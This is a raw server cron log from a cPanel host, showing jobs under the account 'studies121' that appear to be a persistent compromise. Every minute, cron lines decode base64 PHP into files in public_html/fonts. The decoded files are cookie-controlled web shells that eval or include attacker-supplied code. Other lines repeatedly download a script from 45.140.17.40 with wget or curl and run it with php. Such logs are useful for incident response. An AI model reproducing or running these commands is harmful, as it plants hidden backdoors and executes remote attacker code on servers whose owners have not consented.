Sep  6 16:06:01 ip-184-168-122-23 CROND[25470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:06:01 ip-184-168-122-23 CROND[25469]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:06:01 ip-184-168-122-23 CROND[25471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:06:01 ip-184-168-122-23 CROND[25472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:07:01 ip-184-168-122-23 CROND[25650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:07:01 ip-184-168-122-23 CROND[25654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:07:01 ip-184-168-122-23 CROND[25652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:07:01 ip-184-168-122-23 CROND[25653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:08:02 ip-184-168-122-23 CROND[25760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:08:02 ip-184-168-122-23 CROND[25763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:08:02 ip-184-168-122-23 CROND[25762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:08:02 ip-184-168-122-23 CROND[25764]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:08:02 ip-184-168-122-23 CROND[25765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:09:01 ip-184-168-122-23 CROND[25884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:09:01 ip-184-168-122-23 CROND[25887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:09:01 ip-184-168-122-23 CROND[25888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:09:01 ip-184-168-122-23 CROND[25886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:09:01 ip-184-168-122-23 CROND[25890]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 16:10:01 ip-184-168-122-23 CROND[26001]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 16:10:01 ip-184-168-122-23 CROND[26003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:10:01 ip-184-168-122-23 CROND[26007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:10:01 ip-184-168-122-23 CROND[26009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:10:01 ip-184-168-122-23 CROND[26012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:10:01 ip-184-168-122-23 CROND[26010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:10:01 ip-184-168-122-23 CROND[26013]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:10:01 ip-184-168-122-23 CROND[26014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:11:01 ip-184-168-122-23 CROND[26108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:11:01 ip-184-168-122-23 CROND[26110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:11:01 ip-184-168-122-23 CROND[26112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:11:01 ip-184-168-122-23 CROND[26111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:12:01 ip-184-168-122-23 CROND[26286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:12:01 ip-184-168-122-23 CROND[26288]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:12:01 ip-184-168-122-23 CROND[26289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:12:01 ip-184-168-122-23 CROND[26292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:12:01 ip-184-168-122-23 CROND[26291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:13:01 ip-184-168-122-23 CROND[26405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:13:01 ip-184-168-122-23 CROND[26406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:13:01 ip-184-168-122-23 CROND[26408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:13:01 ip-184-168-122-23 CROND[26407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:14:01 ip-184-168-122-23 CROND[26497]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:14:01 ip-184-168-122-23 CROND[26499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:14:01 ip-184-168-122-23 CROND[26500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:14:01 ip-184-168-122-23 CROND[26501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:14:01 ip-184-168-122-23 CROND[26503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:15:02 ip-184-168-122-23 CROND[26616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:15:02 ip-184-168-122-23 CROND[26618]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:15:02 ip-184-168-122-23 CROND[26619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:15:02 ip-184-168-122-23 CROND[26622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:15:02 ip-184-168-122-23 CROND[26624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:15:02 ip-184-168-122-23 CROND[26623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:15:02 ip-184-168-122-23 CROND[26621]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 16:16:02 ip-184-168-122-23 CROND[26744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:16:02 ip-184-168-122-23 CROND[26745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:16:02 ip-184-168-122-23 CROND[26749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:16:02 ip-184-168-122-23 CROND[26748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:16:02 ip-184-168-122-23 CROND[26750]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:16:02 ip-184-168-122-23 CROND[26752]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 16:17:01 ip-184-168-122-23 CROND[26846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:17:01 ip-184-168-122-23 CROND[26849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:17:01 ip-184-168-122-23 CROND[26848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:17:01 ip-184-168-122-23 CROND[26850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:18:01 ip-184-168-122-23 CROND[26955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
